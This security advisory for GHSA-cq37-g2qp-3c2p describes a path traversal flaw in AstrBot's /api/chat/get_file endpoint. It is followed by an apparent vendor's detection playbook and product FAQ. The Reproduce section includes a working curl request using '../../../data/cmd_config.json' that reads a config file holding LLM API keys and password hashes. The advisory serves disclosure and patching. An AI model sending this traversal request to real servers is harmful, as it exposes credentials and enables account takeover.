GHSA-cq37-g2qp-3c2p
HIGHAstrBot Has Path Traversal Vulnerability in /api/chat/get_file
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Description
Impact
This vulnerability may lead to:
- Information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data.
Reproduce
Follow these steps to set up a test environment for reproducing the vulnerability:
-
Install dependencies and clone the repository:
pip install uv git clone https://github.com/AstrBotDevs/AstrBot && cd AstrBot uv run main.py -
Alternatively, deploy the program via pip:
mkdir astrbot && cd astrbot uvx astrbot init uvx astrbot run -
In another terminal, run the following command to exploit the vulnerability:
curl -L http://0.0.0.0:6185/api/chat/get_file?filename=../../../data/cmd_config.json
This request will read the cmd_config.json config file, leading to the leakage of sensitive data such as LLM API keys, usernames, and password hashes (MD5).
Patches
The vulnerability has been addressed in Pull Request #1676 and is included in versions >= v3.5.13. All users are strongly encouraged to upgrade to v3.5.13 or later.
Workarounds
Users can edit the cmd_config.json file to disable the dashboard feature as a temporary workaround. However, it is strongly recommended to upgrade to version v3.5.13 or later as soon as possible to fully resolve this issue.

Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for astrbot. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update astrbot to 3.5.13 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cq37-g2qp-3c2p is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-cq37-g2qp-3c2p is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-cq37-g2qp-3c2p. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-cq37-g2qp-3c2p in your dependencies?
O3 detects GHSA-cq37-g2qp-3c2p across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.
